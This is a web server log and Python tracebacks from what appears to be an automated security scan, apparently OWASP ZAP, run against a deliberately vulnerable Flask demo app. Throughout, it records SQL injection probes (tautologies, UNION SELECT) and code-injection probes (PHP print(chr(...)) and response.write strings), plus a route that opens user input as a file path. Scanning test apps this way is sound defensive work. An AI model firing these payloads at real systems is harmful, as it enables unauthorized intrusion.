172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin%27+AND+%271%27%3D%271%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki+AND+1%3D1+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin%27+AND+%271%27%3D%272%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin%27+OR+%271%27%3D%271%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki+AND+1%3D2+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki+OR+1%3D1+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin%27+AND+%271%27%3D%272%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin%27+OR+%271%27%3D%271%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki+AND+1%3D2+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki+OR+1%3D1+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin%27+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki%27+AND+%271%27%3D%271%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki%27+AND+%271%27%3D%272%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin%22+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki%27+OR+%271%27%3D%271%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki%27+AND+%271%27%3D%272%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki%27+OR+%271%27%3D%271%27+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin%27%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss4?a=k&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki%27+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki%22+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki%27%29+UNION+ALL+select+NULL+--+ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /xss5?a=k&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /?query=%22%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%22 HTTP/1.1" 200 -
[2017-10-18 08:05:14,688] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'";print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var="'
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /bonus?name=%22%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%22 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /?query=%27%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%27 HTTP/1.1" 200 -
[2017-10-18 08:05:14,693] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u"';print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var='"
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /bonus?name=%27%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%27 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /?query=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D HTTP/1.1" 200 -
[2017-10-18 08:05:14,697] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}'
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /bonus?name=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /?query=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D%5C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /?query=%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B HTTP/1.1" 200 -
[2017-10-18 08:05:14,705] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}\\'
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /bonus?name=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D%5C HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /?query=%22%2Bresponse.write%28%5B100%2C000*100%2C000%29%2B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /?query=%2Bresponse.write%28%7B0%7D*%7B1%7D%29%2B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /?query=response.write%28100%2C000*100%2C000%29 HTTP/1.1" 200 -
[2017-10-18 08:05:14,714] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u';print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));'
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /bonus?name=%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B HTTP/1.1" 500 -
[2017-10-18 08:05:14,719] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'"+response.write([100,000100,000)+"'
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /bonus?name=%22%2Bresponse.write%28%5B100%2C000*100%2C000%29%2B%22 HTTP/1.1" 500 -
[2017-10-18 08:05:14,724] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'+response.write({0}{1})+'
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /bonus?name=%2Bresponse.write%28%7B0%7D*%7B1%7D%29%2B HTTP/1.1" 500 -
[2017-10-18 08:05:14,733] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'response.write(100,000100,000)'
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /bonus?name=response.write%28100%2C000*100%2C000%29 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /mystery?name=%22%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%22 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /mystery?name=%27%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%27 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /mystery?name=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /mystery?name=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D%5C HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /robots.txt?query=%22%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /mystery?name=%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /mystery?name=%22%2Bresponse.write%28%5B100%2C000*100%2C000%29%2B%22 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /robots.txt?query=%27%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%27 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /robots.txt?query=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /mystery?name=%2Bresponse.write%28%7B0%7D*%7B1%7D%29%2B HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /robots.txt?query=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D%5C HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /mystery?name=response.write%28100%2C000*100%2C000%29 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /robots.txt?query=%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /robots.txt?query=%22%2Bresponse.write%28%5B100%2C000*100%2C000%29%2B%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /robots.txt?query=%2Bresponse.write%28%7B0%7D*%7B1%7D%29%2B HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:14] "GET /robots.txt?query=response.write%28100%2C000*100%2C000%29 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /sitemap.xml?query=%22%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /sitemap.xml?query=%27%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%27 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=%22%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%22&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /sitemap.xml?query=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /sitemap.xml?query=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D%5C HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /sitemap.xml?query=%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=%27%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%27&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /sitemap.xml?query=%22%2Bresponse.write%28%5B100%2C000*100%2C000%29%2B%22 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /sitemap.xml?query=%2Bresponse.write%28%7B0%7D*%7B1%7D%29%2B HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D%5C&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /sitemap.xml?query=response.write%28100%2C000*100%2C000%29 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=%22%2Bresponse.write%28%5B100%2C000*100%2C000%29%2B%22&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=%2Bresponse.write%28%7B0%7D*%7B1%7D%29%2B&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=response.write%28100%2C000*100%2C000%29&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=k&name=%22%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=k&name=%27%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%27 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=k&name=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=k&name=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D%5C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=k&name=%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=k&name=%22%2Bresponse.write%28%5B100%2C000*100%2C000%29%2B%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=k&name=%2Bresponse.write%28%7B0%7D*%7B1%7D%29%2B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss1?a=k&name=response.write%28100%2C000*100%2C000%29 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=%22%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%22&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=%27%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%27&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D%5C&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=%22%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%22&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=%27%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%27&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=%22%2Bresponse.write%28%5B100%2C000*100%2C000%29%2B%22&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=%2Bresponse.write%28%7B0%7D*%7B1%7D%29%2B&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=%24%7B%40print%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%7D%5C&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=response.write%28100%2C000*100%2C000%29&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss2?a=k&name=%22%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B%24var%3D%22 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=%3Bprint%28chr%28122%29.chr%2897%29.chr%28112%29.chr%2895%29.chr%28116%29.chr%28111%29.chr%28107%29.chr%28101%29.chr%28110%29%29%3B&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /xss3?a=%22%2Bresponse.write%28%5B100%2C000*100%2C000%29%2B%22&name=Frigg HTTP/1.1" 200 -
